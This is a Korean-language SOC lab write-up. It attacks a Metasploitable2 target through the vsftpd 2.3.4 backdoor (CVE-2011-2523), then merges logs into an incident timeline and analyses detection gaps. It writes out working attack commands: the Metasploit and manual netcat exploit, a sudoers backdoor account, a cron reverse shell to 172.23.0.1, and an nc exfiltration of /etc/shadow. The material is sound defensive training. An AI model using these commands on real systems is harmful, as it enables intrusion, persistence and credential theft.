
엔드투엔드 SOC 조사: CVE-2011-2523 킬 체인, 다중 소스 로그 연관 분석, 인시던트 보고서 — MITRE ATT&CK T1190
Metasploitable2를 대상으로 4단계 공격 체인(정찰 → 악용 → 지속 → 유출)을 완전하게 실행하고, 각 단계에서 증거를 수집하며, 구조화된 인시던트 타임라인과 SOC 보고서를 생성합니다 — 공격자와 방어자의 사고를 동시에 보여줍니다.
이것은 캡스톤 프로젝트입니다. 다음 능력을 입증합니다:
사용된 익스플로잇(CVE-2011-2523 — vsftpd 2.3.4 백도어)은 역사적으로 중요한 의미가 있습니다: 공격자가 오픈소스 vsftpd 패키지 소스 저장소에 백도어를 주입한 공급망 공격이었습니다.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Attacker │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Phase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Phase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Phase 3 │─────╫─► useradd sysbackup ║
│ persistence│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Phase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Evidence collection:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Parser: MSF log + auth.log + tshark CSV │
│ → merge by timestamp → tag by phase │
│ → JSON timeline + Markdown incident report │
└──────────────────────────────────────────────────┘
cd docker/
# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable
# Verify target is reachable
nmap -p 21,22,80 172.23.0.200
# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
주요 발견: 21/tcp open ftp vsftpd 2.3.4
# Method A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
작동 원리: vsftpd 2.3.4가 :) 부분 문자열을 포함한 사용자 이름을 수신하면, 데몬은 TCP 포트 6200에 바인딩된 execl("/bin/sh",...)을 실행합니다. 인증이 필요 없으며 직접 루트 셸을 얻습니다.
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Build timeline from all sources
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json에서 발췌){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
이것은 가장 중요한 분석 결과물입니다 — 적절한 탐지가 없었다면 놓쳤을 것을 보여줍니다.
핵심 발견: vsftpd 2.3.4 익스플로잇은 로그인 하위 시스템을 우회하기 때문에 auth.log에 항목을 남기지 않습니다. 유일한 로그 증거는 이후 포트 6200으로의 TCP 연결이며, 이는 네트워크 텔레메트리 없이는 보이지 않습니다. 엔드포인트 로그만으로는 이 공격 유형을 탐지할 수 없습니다.
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Multi-source log merger + phase tagger
│ └── run_attack_chain.sh # Step-by-step attack chain with exact commands
├── configs/
│ └── splunk_detection_rules.spl # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Example incident timeline JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 isolated target
├── docs/
│ └── incident_report.md # Generated SOC report (build_timeline.py --output-md)
└── screenshots/
| 도구 | 용도 |
|---|
| Metasploitable2 | 의도적으로 취약한 Linux 대상 |
| Nmap 7.94 | 1단계: 서비스 열거 |
| Metasploit 6.x | 2단계: vsftpd 2.3.4 익스플로잇 |
| Netcat | 3~4단계: 지속성 + 데이터 유출 |
| tshark | 모든 단계에 걸친 패킷 캡처 |
| Python 3 | build_timeline.py — 다중 소스 로그 병합기 |
| Splunk Free / ELK | 단계별 SIEM 탐지 |
| 단계 | 원시 로그 증거 | SIEM 규칙 탐지 여부 | 범위가 없으면 놓치는 것 |
|---|
| 정찰 | PCAP: 24개 포트로의 SYN 플러드 | 포트 스캔 규칙(10초 내 20개 이상 포트) ✓ | 느린 스캔(-T1): 속도 임계값을 완전히 회피 |
| 악용 | PCAP: :6200으로의 새 연결 · auth.log 항목 없음 | :6200 포트 이상 징후 규칙 ✓ | 공격자가 :80에서 HTTP 익스플로잇을 사용한 경우 — 포트 이상 징후 없음 |
| 지속 | auth.log: new user: name=sysbackup | 새 사용자 생성 알림 ✓ | 직접 /etc/passwd 편집: auditd 없이는 로그 기록 전혀 없음 |
| 유출 | PCAP: :5555로 4KB 외부 전송 | 비표준 포트 + 크기 규칙 ✓ | DNS 데이터 유출(TXT 레코드): 볼륨 규칙을 완전히 우회 |
| 제한 사항 | 영향 | 완화 방안 |
|---|
| vsftpd 2.3.4는 2011년 취약점 | 현대 익스플로잇을 대표하지 않음 | 대체 익스플로잇 시나리오로 EternalBlue(MS17-010) 추가 |
build_timeline.py는 키워드 분류를 사용 | 일부 이벤트를 잘못 분류 | 레이블된 로그 데이터로 경량 NLP 분류기 학습 |
| 엔드포인트 탐지(EDR) 없음 | 파일 수준 지속성(authorized_keys)이 캡처되지 않음 | 대상에 Wazuh 또는 Elastic Agent 추가 |
| 수동 공격 체인 실행 | 대화형 개입 없이는 재현 불가 | Metasploit 리소스 스크립트로 2~4단계 자동화 |
| 참고 자료 | ID / 링크 |
|---|
| CVE-2011-2523 — vsftpd 2.3.4 백도어 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Exploit Public-Facing Application | T1190 |
| MITRE ATT&CK — Create Account: Local Account | T1136.001 |
| MITRE ATT&CK — Scheduled Task/Job: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltration Over C2 Channel | T1041 |
| MITRE ATT&CK — Valid Accounts | T1078 |